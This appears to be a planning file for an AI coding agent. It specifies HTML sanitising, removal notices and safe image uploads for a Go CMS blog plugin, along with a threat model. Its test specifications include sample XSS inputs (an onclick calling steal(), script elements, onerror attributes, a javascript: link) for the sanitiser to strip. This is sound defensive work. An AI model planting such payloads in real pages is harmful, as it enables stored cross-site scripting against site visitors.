<name>Task 1: Tracer: post content on mlblogeditor end to end (types on the plugin, fields.yaml, strip-and-report Decode, Load with D-07, both columns written by the hooks)</name>
|
||||
<reversibility rating="costly">D-02 and D-11: every post saved from the admin becomes HTML content (moving back needs an HTML-to-markdown migration), and the aliases blogeditor and mlblogeditor end up in fields.yaml files that a rename must edit.</reversibility>
|
||||
<precondition>16.2-01-SUMMARY.md and 16.2-02-SUMMARY.md exist; `go -C ../sm-journal-plugin build ./...` succeeds against the current ../summercms.go working tree and ../sm-journal-plugin/assets/dist/blogeditor.js exists.</precondition>
|
||||
<files>../sm-journal-plugin/classes/format_html.go, ../sm-journal-plugin/classes/blog_editor.go, ../sm-journal-plugin/field_types.go, ../sm-journal-plugin/controllers/posts.go, ../sm-journal-plugin/controllers/posts_editor_smoke_test.go, ../sm-journal-plugin/models/post/fields.yaml, ../sm-journal-plugin/lang/en/lang.yaml, ../sm-journal-plugin/lang/pl/lang.yaml, ../sm-journal-plugin/posts_admin_smoke_test.go</files>
|
||||
<read_first>.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-01-SUMMARY.md (final identifiers), ../summercms.go/modules/pact/capabilities.go (FormFieldType and friends), ../summercms.go/modules/cabana/tx_context.go (FieldWritesFromContext, WithFieldWrites, TxFromContext), ../summercms.go/modules/cabana/field_ml.go (TranslationWriter), ../summercms.go/docs/backend/field-types.md, ../sm-journal-plugin/classes/format_html.go (sanitizeHTML, sameTokens, htmlTokens, rawAttrNames), ../sm-journal-plugin/classes/format_html_test.go (unsafePayloads), ../sm-journal-plugin/controllers/posts.go, ../sm-journal-plugin/controllers/admin_registry.go, ../sm-journal-plugin/admin.go, ../sm-journal-plugin/plugin.go, ../sm-journal-plugin/models/post.go, ../sm-journal-plugin/models/post/fields.yaml, ../sm-journal-plugin/lang/en/lang.yaml, ../sm-journal-plugin/posts_admin_smoke_test.go (TestPostsAdminCreateSmoke, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML), ../summercms.go/modules/phrasebook/backend/lang/pl/lang.yaml (lines 40-44: plural map format), ../summercms.go/modules/cabana/locale_order_test.go (recording TranslationWriter style), ../summercms.go/modules/bouncer/context.go (WithUser)</read_first>
|
||||
<action>Make one post-content save path work end to end on the new types (per D-02, D-03, D-04, D-07, D-08, D-10, D-14).
|
||||
|
||||
Removal report (D-10 amended), in classes/format_html.go: add HTMLRemovals and SanitizeHTMLReport(doc) as described in the assumptions (in-order start-tag alignment; elements, attributes via rawAttrNames so a repeated name counts, comments, Other; at most 10 distinct names per list with exact counts; Empty() is false exactly when the returned string differs from doc). SanitizeHTML returns SanitizeHTMLReport's string, so both share one implementation; FormatHTML, FormatTranslation and CheckHTML keep their behaviour and tests.
|
||||
|
||||
classes/blog_editor.go: const BlogEditorElement = "golem15-journal-blogeditor"; BlogEditorTypes(app func() *backpack.App) returns two pact.FormFieldType values: blogeditor (Translatable false, Options ["uploadFolder"]) and mlblogeditor (Translatable true, Options ["htmlColumn", "uploadFolder"]), both with Element BlogEditorElement, Scripts ["assets/dist/blogeditor.js"], Styles ["assets/dist/blogeditor.css"], CheckOptions checkBlogOptions (htmlColumn must be an identifier; uploadFolder as in the assumptions), Decode decodeBlogHTML, Load loadBlogHTML, ListValue blogListValue (Upload is added in Task 2). decodeBlogHTML (D-10 amended, D-04): nil decodes to ""; any other non-string value is a FormFieldError with "golem15.journal::lang.editor.content_invalid"; a string goes through SanitizeHTMLReport and the result is pact.FormFieldDecoded{Value: the sanitized string, Notices: removalNotices(report)}, so a value the policy keeps whole is returned byte for byte with no notice. removalNotices emits, in this order and only when non-zero: golem15.journal::lang.editor.removed_elements (Count ElementCount, Params names = the element names joined with ", ", plus "…" when more than 10 were cut), removed_attributes (the same for attributes), removed_comments (Count Comments), markup_changed (Other, no count). Decode never refuses because of markup. LooksLikeHTML(s) reports whether the first non-whitespace character is '<' (assumption A1). loadBlogHTML (D-07): Value as string (string, *string, nil become the text, nil and a nil pointer become ""); if LooksLikeHTML or the htmlColumn option is unset, serve the text; otherwise read in.Translated(htmlColumn) and serve it when found and non-empty, else serve FormatHTML(text) (on error the text). blogListValue strips tags, collapses whitespace, truncates to 120 runes plus an ellipsis.
|
||||
|
||||
field_types.go (root package): (p *Plugin) FormFieldTypes() []pact.FormFieldType returns classes.BlogEditorTypes with a lazy accessor of p.app, plus the compile-time assertion that *Plugin implements pact.HasFormFieldTypes.
|
||||
|
||||
models/post/fields.yaml: content becomes type mlblogeditor with htmlColumn: content_html and uploadFolder: posts (D-08); excerpt and every other field unchanged.
|
||||
|
||||
controllers/posts.go (D-02, D-03, D-10): preparePostWrite stops calling FormatHTML; it keeps refuseUnpublishedWrite and the published_at check, then sets post.ContentHTML to the Default write of "content" from cabana.FieldWritesFromContext when there is one and leaves ContentHTML untouched otherwise. New FormAfterCreate and FormAfterUpdate on postsAdminController call writeContentHTMLTranslations, which for every non-default write of "content" calls the app's cabana.TranslationWriter WriteTranslated(ctx, tx, post, "content_html", locale, value), with tx from cabana.TxFromContext (falling back to c.db(ctx)); no writer means nothing to write. Add the pact.FormAfterCreate and pact.FormAfterUpdate compile-time assertions. The public API helpers (controllers/api/posts_helpers.go) are not touched (D-09).
|
||||
|
||||
Lang: add editor.content_invalid ("The content must be HTML text." / "Treść musi być tekstem HTML."), editor.image_invalid and editor.upload_failed to lang/en and lang/pl, and the notices in the phrasebook plural map format: en removed_elements one ":count element was removed: :names", other ":count elements were removed: :names"; removed_attributes one ":count attribute was removed: :names", other ":count attributes were removed: :names"; removed_comments one ":count HTML comment was removed", other ":count HTML comments were removed"; markup_changed "The HTML filter changed some markup."; pl with one, few, many and other ("Usunięto :count element: :names" / "Usunięto :count elementy: :names" / "Usunięto :count elementów: :names" / "Usunięto :count elementu: :names", likewise atrybut/atrybuty/atrybutów/atrybutu and komentarz HTML/komentarze HTML/komentarzy HTML/komentarza HTML; markup_changed "Filtr HTML zmienił część znaczników.").
|
||||
|
||||
Docker tests (correctness, compiled by vet, run on a Docker host): in posts_admin_smoke_test.go TestPostsFormCompiles expects "mlblogeditor" instead of "mlmarkdown" for content (keep the mltext, mltextarea and preset checks); TestPostsAdminCreateSmoke posts HTML content ("<p>Hello <strong>world</strong></p>" and the pl equivalent) and asserts stored.ContentHTML equals stored.Content exactly and that the create response has no meta.notices key; TestPostsAdminResaveKeepsHTML compares content_html with the exact content bytes (no TrimSpace); TestPostsAdminSaveSanitizesHTML (D-02, D-10 amended) keeps its unsafe input but now asserts that the save succeeds, that content and content_html are both the sanitized HTML and equal to each other for pl (host) and en (translation), that the "Data:" text is kept, and that the response's meta.notices names content for pl and en (removed elements a and base, removed attribute onerror).
|
||||
|
||||
Smoke: controllers/posts_editor_smoke_test.go TestBlogEditorTracerSmoke (package controllers, no database): CompileFormWithTypes("golem15.journal", postsAdminController{}, os.DirFS(".."), classes.BlogEditorTypes(nil)) gives content type mlblogeditor, element golem15-journal-blogeditor, translatable, typeOptions htmlColumn content_html; Decode returns a clean HTML string byte for byte with no notice, strips a script element and an onerror attribute and returns two notices (removed_elements Count 1 names "script", removed_attributes Count 1 names "onerror"), decodes nil to "" and refuses a number with a FormFieldError; Load serves content for an HTML value, content_html (via a stub Translated) for a markdown value, FormatHTML output when content_html is empty; with WithFieldWrites({content: [pl default "<p>A</p>", en "<p>B</p>"]}) and a backend principal, FormBeforeUpdate sets ContentHTML "<p>A</p>" and FormAfterUpdate writes content_html for en through a recording TranslationWriter published on a backpack app; without writes FormBeforeUpdate leaves ContentHTML unchanged (no goldmark).
|
||||
|
||||
Commit as "feat(classes): report what the HTML policy removes" (format_html.go only) and "feat(admin): post content on the Blog Editor field type" (blog_editor.go, field_types.go, posts.go, fields.yaml, lang, tests), staged by explicit path.</action>
|
||||
<verify>
|
||||
<automated>go -C ../sm-journal-plugin vet ./... && go -C ../sm-journal-plugin test -count=1 -run '^TestBlogEditorTracerSmoke$' -v ./controllers/ 2>&1 | grep -- '^--- PASS: TestBlogEditorTracerSmoke'</automated>
|
||||
<fails_when>Non-zero exit: go vet fails (including the updated Docker tests), or no "--- PASS: TestBlogEditorTracerSmoke" line (fields.yaml does not compile with the types, Decode stores unsafe HTML or refuses instead of stripping, a clean value changes or gets a notice, Load ignores D-07, or the hooks do not write content_html).</fails_when>
|
||||
<automated>go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/... && go -C ../sm-journal-plugin test -count=1 -run '^(TestFormatHTMLKeepsRawHTML|TestFormatHTMLSanitizesUnsafeHTML|TestFormatHTMLDuplicateAttributes|TestSanitizeHTML|TestCheckHTML)$' -v ./classes/ 2>&1 | grep -c '^--- PASS: Test' | grep -qx 5</automated>
|
||||
<fails_when>Non-zero exit: a classes or controllers test fails, or fewer than five "--- PASS: Test" lines for the FormatHTML, SanitizeHTML and CheckHTML tests (the API-path renderer, the byte-stability rule, the duplicate-attribute rule or the predicate regressed when SanitizeHTML moved onto SanitizeHTMLReport).</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "type: mlblogeditor" ../sm-journal-plugin/models/post/fields.yaml` prints one line and `grep -n "htmlColumn: content_html" ../sm-journal-plugin/models/post/fields.yaml` prints one line.
|
||||
- `grep -n "FieldWritesFromContext" ../sm-journal-plugin/controllers/posts.go` prints at least one line, and `grep -n "func (c postsAdminController) FormAfterUpdate" ../sm-journal-plugin/controllers/posts.go` prints one line.
|
||||
- `git -C ../sm-journal-plugin diff --quiet c60abc6 -- controllers/api/posts_helpers.go controllers/api/posts.go routes.go` exits 0 (D-09: the public posts API code and the route table are unchanged since the pre-phase head).
|
||||
- `grep -n "func SanitizeHTMLReport" ../sm-journal-plugin/classes/format_html.go` prints one line, and `grep -n "SanitizeHTMLReport" ../sm-journal-plugin/classes/blog_editor.go` prints at least one line.
|
||||
- `grep -n "CheckHTML(" ../sm-journal-plugin/classes/blog_editor.go ../sm-journal-plugin/controllers/posts.go` prints nothing (no call: the admin post path never refuses on markup).
|
||||
- TestBlogEditorTracerSmoke passes with its compile, Decode (clean unchanged, strip with notices, nil, non-string), Load (HTML, markdown, empty content_html) and hook subtests.
|
||||
- TestPostsFormCompiles in posts_admin_smoke_test.go looks for "mlblogeditor".
|
||||
</acceptance_criteria>
|
||||
<done>Post content compiles as mlblogeditor, unsafe HTML is stripped per locale with notices naming what was removed (clean HTML is stored byte for byte), markdown posts are served as their content_html, and a written content value lands in content_html for its locale without goldmark.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="true">
|
||||
<name>Task 2: Expansion: category content on blogeditor (stripped like posts, the 422 gate retired), editor uploads through the extracted media storage, README</name>
|
||||
<files>../sm-journal-plugin/classes/blog_editor.go, ../sm-journal-plugin/classes/media_store.go, ../sm-journal-plugin/classes/media_store_test.go, ../sm-journal-plugin/controllers/api/media.go, ../sm-journal-plugin/controllers/api/media_test.go, ../sm-journal-plugin/controllers/categories.go, ../sm-journal-plugin/controllers/posts_editor_smoke_test.go, ../sm-journal-plugin/models/category/fields.yaml, ../sm-journal-plugin/journal_api_categories_test.go, ../sm-journal-plugin/README.md</files>
|
||||
<read_first>../sm-journal-plugin/classes/blog_editor.go (Task 1 state), ../sm-journal-plugin/controllers/api/media.go, ../sm-journal-plugin/controllers/api/media_test.go, ../sm-journal-plugin/controllers/categories.go (prepareCategoryWrite 65-82), ../sm-journal-plugin/journal_api_categories_test.go (TestCategoriesAdminContent 138: assertContentRefused, the two unsafe subtests, blank update stores null), ../sm-journal-plugin/routes.go (public routes: GET categories only), ../sm-journal-plugin/models/category.go, ../sm-journal-plugin/models/category/fields.yaml, ../sm-journal-plugin/controllers/posts_editor_smoke_test.go, ../sm-journal-plugin/README.md, ../summercms.go/modules/lagoon/attach (PublicURL), /media/nvme/dev/golem15/fonoteka/plugins/golem15/journal/models/Category.php (translatable list, lines 36-40)</read_first>
|
||||
<behavior>
|
||||
- StoreMedia keeps the public route's rules: extensions jpg, jpeg, png, gif, webp only; more than 10240 KiB is a MediaError on file with "The file may not be greater than 10240 kilobytes."; keys /journal/<folder>/<name> with the existing unique suffix; returns the attach.PublicURL of the key and the path.
|
||||
- UploadMedia answers exactly as before (201 {data:{url, path}}, the same 422 messages) using StoreMedia.
|
||||
- Editor Upload: a png named "Zdjęcie 1.PNG" with png bytes is stored under /journal/posts/ with a safe name and returns its URL; a .png whose bytes sniff as text/html is a FormFieldError; an svg is a FormFieldError; a missing bucket is an opaque error.
|
||||
- Category content (D-19 amended): models/category/fields.yaml content is type blogeditor with uploadFolder categories; CompileFormWithTypes accepts it; Load serves the stored HTML for a *string (nil gives ""); Decode strips `<p onclick="steal()">x</p>` to `<p>x</p>` with a removed_attributes notice; prepareCategoryWrite maps blank (including whitespace only) to NULL and accepts every other value it receives, returning no error for markup.
|
||||
</behavior>
|
||||
<action>Finish the Journal half (per D-18, D-19, D-09).
|
||||
|
||||
Media storage (D-18, D-09): new classes/media_store.go with MediaMaxBytes (10240 shifted left by 10), MediaFolderPattern (moved), MediaError{Field, Message} (Error returns Message), StoredMedia{URL, Path}, and StoreMedia(ctx, bucket, folder, filename, body) holding the part of UploadMedia after authentication: base name via path.Base on the slash-normalised filename, extension allowlist, reading at most MediaMaxBytes+1 bytes, the size message, mediaObjectPath, uniqueMediaKey (both moved here from controllers/api/media.go and taking a context instead of the request), the bucket writer and attach.PublicURL. UploadMedia keeps authentication, permissions, the folder validation and the form parsing, calls StoreMedia, maps a MediaError to writeValidation with the same field and message, any other error to the same 500 body, and writes the same 201 body. Move TestMediaObjectPath and TestMediaFolderPatternRejectsDotDot to classes/media_store_test.go unchanged in substance.
|
||||
|
||||
Editor Upload (D-18): uploadBlogImage, set as Upload on both types: looks up *blob.Bucket from the app accessor (missing is an opaque error), reads the first 512 bytes and requires http.DetectContentType to report image/jpeg, image/png, image/gif or image/webp (else FormFieldError "golem15.journal::lang.editor.image_invalid"), builds the name with safeUploadName (assumption: lowercase, characters outside a-z, 0-9, dot, underscore and hyphen become hyphens, runs collapsed, extension kept, empty becomes image), calls StoreMedia with the field's uploadFolder (default "editor") and the sniffed head re-joined to the rest of the body, maps a MediaError to a FormFieldError with its message and returns FormFieldUploadResult{URL}.
|
||||
|
||||
Category (D-19 amended, D-10): models/category/fields.yaml content becomes type blogeditor with uploadFolder: categories (keep label, comment, size and span), so category content goes through the same strip-and-report Decode as posts. In controllers/categories.go, prepareCategoryWrite keeps the blank-to-NULL rule and drops the HTML gate and its 422; its doc comment says category content arrives already sanitized by the blogeditor Decode (D-10 amended, decision note), and that rows written by SQL or import commands are not sanitized here. Remove the classes import if nothing else in the file uses it. API parity: there is no public category write route (routes.go), so no public contract changes; if the executor finds one, it stops and reports instead of changing it.
|
||||
|
||||
Postgres test (correctness, compiled by vet, run on a Docker host): in journal_api_categories_test.go TestCategoriesAdminContent, replace the 422 refusal helper with an assertContentStripped helper. "unsafe create refused" becomes "unsafe create stripped": the POST answers 201, the row exists with content `<p>x</p>`, and the response's meta.notices has one entry for field content naming onclick. "unsafe update refused" becomes "unsafe update stripped": the PUT answers 200, the stored content is "x" (bluemonday drops the javascript: href and the bare a element), and meta.notices names the removed a element. The safe create keeps its byte-identical assertion and gains "no notices key in meta"; "blank update stores null" and "posts-only token forbidden" stay as they are.
|
||||
|
||||
Smoke: add TestBlogEditorUploadSmoke to controllers/posts_editor_smoke_test.go (gocloud.dev/blob/memblob bucket published on a backpack app) covering the behavior bullets for StoreMedia, the editor Upload and the category compile and Load.
|
||||
|
||||
README.md (plugin README, may name the plugin): an Admin section update describing the Blog Editor field types blogeditor and mlblogeditor and their options; what an admin save stores (the sanitized HTML in content and content_html per locale; a value the policy keeps whole is stored byte for byte; anything the policy does not allow is removed and the save names what was removed; untouched content is not rewritten; markdown posts open with their rendered HTML and become HTML on the first edit); that category content follows the same rule and is no longer refused with a 422 (replace the "refuses content that fails classes.CheckHTML" sentence in the categories section); that the public API stays markdown-in (D-09); and editor uploads. Commit as "feat(admin): category content on the Blog Editor and editor image uploads" (category fields.yaml, categories.go, Upload, tests, README) and "refactor(api): share media storage with the editor upload" as two commits, staged by explicit path.</action>
|
||||
<verify>
|
||||
<automated>go -C ../sm-journal-plugin vet ./... && go -C ../sm-journal-plugin test -count=1 -run '^(TestBlogEditorTracerSmoke|TestBlogEditorUploadSmoke)$' -v ./controllers/ 2>&1 | grep -c '^--- PASS: TestBlogEditor' | grep -qx 2</automated>
|
||||
<fails_when>Non-zero exit: vet fails, or fewer than two "--- PASS: TestBlogEditor" lines (upload storage, sniffing, safe names, category compile or Load broken, or the Task 1 smoke regressed).</fails_when>
|
||||
<automated>go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/...</automated>
|
||||
<fails_when>Non-zero exit: a classes test (including the moved media path tests) or a controllers/api test fails.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "type: blogeditor" ../sm-journal-plugin/models/category/fields.yaml` prints one line.
|
||||
- `grep -n "CheckHTML(" ../sm-journal-plugin/controllers/categories.go` prints nothing and `grep -n "ValidationError" ../sm-journal-plugin/controllers/categories.go` prints nothing (the 422 gate is retired).
|
||||
- `grep -n "assertContentRefused" ../sm-journal-plugin/journal_api_categories_test.go` prints nothing and `grep -n "unsafe create stripped" ../sm-journal-plugin/journal_api_categories_test.go` prints one line; `go -C ../sm-journal-plugin vet ./...` compiles the updated test.
|
||||
- `grep -n "categories" ../sm-journal-plugin/routes.go` prints only GET lines (no public category write path).
|
||||
- `grep -n "StoreMedia" ../sm-journal-plugin/controllers/api/media.go` prints at least one line, and `grep -n '"path":' ../sm-journal-plugin/controllers/api/media.go` still prints one line (response shape kept).
|
||||
- `grep -n "func StoreMedia" ../sm-journal-plugin/classes/media_store.go` prints one line, and classes/media_store_test.go holds TestMediaObjectPath and TestMediaFolderPatternRejectsDotDot.
|
||||
- TestBlogEditorUploadSmoke passes its sniff, svg, safe-name, size and category (compile, Load, strip with notice, blank to NULL) subtests.
|
||||
- README.md mentions blogeditor and mlblogeditor, and its categories section no longer says the form refuses content with a 422.
|
||||
</acceptance_criteria>
|
||||
<done>Category content uses the Blog Editor and is stripped and reported like posts (no 422), editor images upload into the same media storage and URLs as the public route, and the public route's contract is unchanged.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="true">
|
||||
<name>Task 3: Expansion: the HTML policy admits exactly the Blog Editor's own output, pinned by plan 02's corpus; CheckHTML and README documentation; decision note</name>
|
||||
<reversibility rating="costly">D-05: the embed placeholder and the editor's alt and start attributes become stored content that the policy must keep accepting; narrowing the policy later would strip them from live posts on their next edited save.</reversibility>
|
||||
<precondition>../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json exists (plan 02 Task 3) and parses as JSON.</precondition>
|
||||
<files>../sm-journal-plugin/classes/format_html.go, ../sm-journal-plugin/classes/editor_policy_test.go, ../sm-journal-plugin/controllers/posts_editor_smoke_test.go, ../sm-journal-plugin/README.md, .planning/notes/journal-html-sanitizing-bluemonday.md</files>
|
||||
<read_first>../sm-journal-plugin/classes/format_html.go (newHTMLPolicy, SanitizeHTMLReport from Task 1), ../sm-journal-plugin/classes/format_html_test.go (unsafePayloads, TestFormatHTMLSanitizesUnsafeHTML), ../sm-journal-plugin/classes/check_html_test.go, ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json (plan 02), ../sm-journal-plugin/tests/blogeditor/fixtures/imported-post.html (plan 02), ~/go/pkg/mod/github.com/microcosm-cc/bluemonday@v1.0.27/policies.go (UGCPolicy) and helpers.go (AllowImages, AllowLists, AllowTables: what UGC already allows), ../sm-journal-plugin/README.md (Posts bullet, the CheckHTML row in API reference, Dependencies), .planning/notes/journal-html-sanitizing-bluemonday.md, ../vue-journal-layer/app/utils/htmlGate.ts (the mirror plan 04 extends with the same four rules)</read_first>
|
||||
<behavior>
|
||||
- Every entry of editor-corpus.json comes back from SanitizeHTML byte for byte, with an empty SanitizeHTMLReport and a nil CheckHTML.
|
||||
- The placeholder `<figure data-embed="youtube" data-id="dQw4w9WgXcQ"></figure>` is kept, both through SanitizeHTML and as raw HTML inside markdown through FormatHTML.
|
||||
- Still stripped and reported: data-embed other than youtube; data-id of 10 or 12 characters or holding a quote, space or angle bracket; data-embed or data-id on div, img or p; any other data attribute on figure; onload on the placeholder figure; an iframe next to a placeholder (the placeholder stays).
|
||||
- img alt with a colon, a question mark and double quotes is kept; an alt whose text contains a double quote followed by an event-handler-like string stays one alt attribute (no new attribute appears in the tokens).
|
||||
- ol start="3" is kept; start="x" on ol and start on ul are stripped.
|
||||
- The 35 unsafePayloads are stripped exactly as before (TestFormatHTMLSanitizesUnsafeHTML unchanged) and the existing CheckHTML table passes unchanged.
|
||||
- SanitizeHTMLReport: a style element, an onclick attribute, a comment, a repeated attribute, a style attribute that loses one property and more than ten distinct removed names each produce the documented report; for every unsafePayload, the imported-post fixture and every corpus entry, report.Empty() is true exactly when the output equals the input.
|
||||
</behavior>
|
||||
<action>Extend the shared policy for exactly the editor's own output (per D-05 amended, D-04, D-10).
|
||||
|
||||
In newHTMLPolicy add, each with a comment naming the Blog Editor output (Phase 16.2 D-05) it serves: data-embed matching ^youtube$ and data-id matching ^[A-Za-z0-9_-]{11}$ on figure only; alt with any value on img only (added next to UGC's Paragraph rule; bluemonday accepts an attribute when any of its rules matches, and escapes the value on output); start matching ^[0-9]+$ on ol only. Add nothing else: no iframe allowance, no blanket data attribute allowance, no target, rel, style property or URL scheme. These are the same four rules plan 04 mirrors in the layer. If the corpus fails on any attribute outside this set, stop and report it (plans 03 and 04 must change together) instead of widening the policy.
|
||||
|
||||
classes/editor_policy_test.go: TestEditorOutputPassesPolicy reads ../tests/blogeditor/fixtures/editor-corpus.json with os.ReadFile (a missing or empty file fails the test, never skips) and checks every entry plus the placeholder and negative cases of the behavior block; TestSanitizeHTMLReport covers the report cases and the Empty property, including the imported-post fixture.
|
||||
|
||||
Update CheckHTML's doc comment: since Phase 16.2 no admin or API write path refuses with it (admin saves strip and report, D-10 amended); it reports whether the policy would change doc, the counterpart of the layer's isSafeJournalHtml, and the policy cross-check uses it. Extend TestBlogEditorTracerSmoke with the placeholder passing Decode unchanged with no notice.
|
||||
|
||||
README.md: the API reference gains SanitizeHTMLReport and HTMLRemovals rows; the CheckHTML row says it is a predicate that no write path refuses with any more; the Posts and policy text lists the four editor-output additions and says admin saves strip and name what they removed.
|
||||
|
||||
Decision note (summercms.go): append to the 2026-10-10 amendment a short paragraph and four table rows for the editor-output additions (figure data-embed and data-id, img alt any text, ol start), naming plan 02's corpus as the test that pins them and plan 04 as the layer mirror.
|
||||
|
||||
Commit in sm-journal-plugin as "feat(classes): allow the Blog Editor's own markup in the HTML policy" (format_html.go, editor_policy_test.go, the smoke test, README), and in summercms.go, separately, as "docs(16.2): record the editor-output policy extension" (the note only), each staged by explicit path.</action>
|
||||
<verify>
|
||||
<automated>go -C ../sm-journal-plugin vet ./... && go -C ../sm-journal-plugin test -count=1 -run '^(TestEditorOutputPassesPolicy|TestSanitizeHTMLReport|TestFormatHTMLSanitizesUnsafeHTML|TestFormatHTMLDuplicateAttributes|TestFormatHTMLKeepsRawHTML|TestSanitizeHTML|TestCheckHTML)$' -v ./classes/ 2>&1 | grep -c '^--- PASS: Test' | grep -qx 7</automated>
|
||||
<fails_when>Non-zero exit: vet fails, or fewer than seven "--- PASS: Test" lines: a corpus entry is changed by the policy (an editor attribute is still stripped), a negative case is no longer stripped (the extension is too wide), the report disagrees with the output, or an existing FormatHTML, SanitizeHTML or CheckHTML test regressed.</fails_when>
|
||||
<automated>go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/... && go -C ../sm-journal-plugin test -count=1 -run '^(TestBlogEditorTracerSmoke|TestBlogEditorUploadSmoke)$' -v ./controllers/ 2>&1 | grep -c '^--- PASS: TestBlogEditor' | grep -qx 2</automated>
|
||||
<fails_when>Non-zero exit or fewer than two "--- PASS: TestBlogEditor" lines: a classes or controllers test fails, or the placeholder no longer passes Decode unchanged.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "data-embed" ../sm-journal-plugin/classes/format_html.go` and `grep -n "editor-corpus.json" ../sm-journal-plugin/classes/editor_policy_test.go` each print at least one line.
|
||||
- `grep -n "func TestEditorOutputPassesPolicy" ../sm-journal-plugin/classes/editor_policy_test.go` and `grep -n "func TestSanitizeHTMLReport" ../sm-journal-plugin/classes/editor_policy_test.go` each print one line.
|
||||
- `grep -n "SanitizeHTMLReport" ../sm-journal-plugin/README.md` prints at least one line.
|
||||
- `grep -n "Phase 16.2" .planning/notes/journal-html-sanitizing-bluemonday.md` prints at least one line and the note names figure data-embed, data-id, img alt and ol start.
|
||||
- `git -C ../sm-journal-plugin diff --quiet c60abc6 -- classes/format_html_test.go classes/check_html_test.go` exits 0 (the existing policy tests are not weakened).
|
||||
</acceptance_criteria>
|
||||
<done>The policy keeps every piece of markup the editor writes, still strips everything else it stripped before, and the corpus test fails the moment the editor's output and the policy drift apart.</done>
|
||||
</task>
|
||||
|
||||
</tasks>
|
||||
|
||||
<threat_model>
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description |
|
||||
|----------|-------------|
|
||||
| admin save body → Journal Decode | every locale's content value crosses here (through cabana) |
|
||||
| editor upload → media bucket | user files become public URLs under /storage/app/uploads/public |
|
||||
| Journal public API clients → posts and media routes | contract must not change (D-09) |
|
||||
|
||||
## STRIDE Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|
||||
|-----------|----------|-----------|----------|-------------|-----------------|
|
||||
| T-16.2-14 | Tampering (stored XSS) | decodeBlogHTML (posts and categories) | high | mitigate | SanitizeHTMLReport on every locale value cabana decodes (default and non-default), for post and category content alike; the stored value is always the policy's output, never submitted bytes the policy would change; the removal is reported to the admin (no silent loss), and the layer sanitizes again before v-html; smoke and Postgres tests cover script, onerror, onclick and javascript: being stripped with notices and clean HTML staying byte for byte |
|
||||
| T-16.2-31 | Tampering (stored XSS) | newHTMLPolicy editor-output extension | high | mitigate | Exactly four additions with the narrowest patterns (figure data-embed ^youtube$, figure data-id ^[A-Za-z0-9_-]{11}$, img alt as an escaped attribute value, ol start ^[0-9]+$); no iframe, URL, style, event or blanket data attribute; TestEditorOutputPassesPolicy pins the corpus and the negative cases, the 35 existing payload tests stay unchanged (diff check against c60abc6), and the iframe exists only in the layer's rendered page (D-05) |
|
||||
| T-16.2-34 | Denial of Service | SanitizeHTMLReport and removal notices | low | mitigate | One pass over two token streams; at most 10 names per list with exact counts, so a body with thousands of removed parts yields at most four short notices (cabana also caps notices, T-16.2-33) |
|
||||
| T-16.2-15 | Tampering / Elevation | uploadBlogImage | high | mitigate | Extension allowlist without svg, http.DetectContentType magic-byte check for jpeg, png, gif and webp, 10240 KiB cap in StoreMedia plus cabana's upload cap; nginx serves the storage path with nosniff |
|
||||
| T-16.2-16 | Tampering | upload keys | medium | mitigate | uploadFolder validated at boot by the existing folder rule (no ..), safeUploadName limits the base name to a-z, 0-9, dot, underscore, hyphen; uniqueMediaKey never overwrites an existing object |
|
||||
| T-16.2-17 | Repudiation / contract | public posts and media routes | medium | mitigate | posts_helpers.go untouched (FormatHTML stays on the API path); UploadMedia keeps its response body and messages; the existing api tests keep passing |
|
||||
| T-16.2-18 | Information Disclosure | content_html companion writes | low | mitigate | Only values cabana reports as written are copied, to the same record and locale, inside the save transaction |
|
||||
| T-16.2-SC | Tampering | npm/pip/cargo installs | high | mitigate | No package is installed; gocloud.dev/blob/memblob is part of the existing gocloud.dev requirement and is used in tests only |
|
||||
</threat_model>
|
||||
|
||||
<verification>
|
||||
- Task 1: go vet, TestBlogEditorTracerSmoke, the classes and controllers packages, the FormatHTML, SanitizeHTML and CheckHTML tests pass.
|
||||
- Task 2: go vet, both TestBlogEditor smoke tests, the classes and controllers packages pass; the categories gate is gone.
|
||||
- Task 3: the corpus cross-check, the report tests and every existing policy test pass.
|
||||
- The root-package Postgres tests (TestPostsFormCompiles, TestPostsAdminCreateSmoke, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML, TestCategoriesAdminContent) compile and run on a Docker host before the release (plan 05 docker-first option) or before /msd-verify-work.
|
||||
</verification>
|
||||
|
||||
<success_criteria>
|
||||
- Post content on mlblogeditor and category content on blogeditor, both stripped by the shared policy per locale with a removal report; no admin save fails because of markup.
|
||||
- Admin saves store the same sanitized HTML in both columns per written locale and leave untouched content byte-identical; the public API is unchanged.
|
||||
- The policy admits exactly the editor's own output (corpus test) and nothing more.
|
||||
- Editor uploads use the shared media storage with a magic-byte check.
|
||||
</success_criteria>
|
||||
|
||||
<output>
|
||||
Create `.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-SUMMARY.md` when done, with the commit hashes, the smoke test output and the list of Postgres tests that still need a Docker host.
|
||||
</output>
|
||||
@@ -0,0 +1,272 @@
|
||||
---
|
||||
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
plan: 03
|
||||
subsystem: journal-admin
|
||||
tags: [sm-journal-plugin, field-types, blog-editor, bluemonday, sanitizing, uploads, cabana]
|
||||
|
||||
requires:
|
||||
- phase: 16.2-01
|
||||
provides: pact field type API (FormFieldType with ListValue(ctx, value), FormFieldDecoded, FormFieldNotice, FormFieldUpload, FormFieldError), cabana FieldWritesFromContext, WithFieldWrites, TxFromContext, CompileFormWithTypes, TranslationWriter
|
||||
- phase: 16.2-02
|
||||
provides: golem15-journal-blogeditor element, assets/dist/blogeditor.js and .css in adminFS, tests/blogeditor/fixtures/editor-corpus.json
|
||||
provides:
|
||||
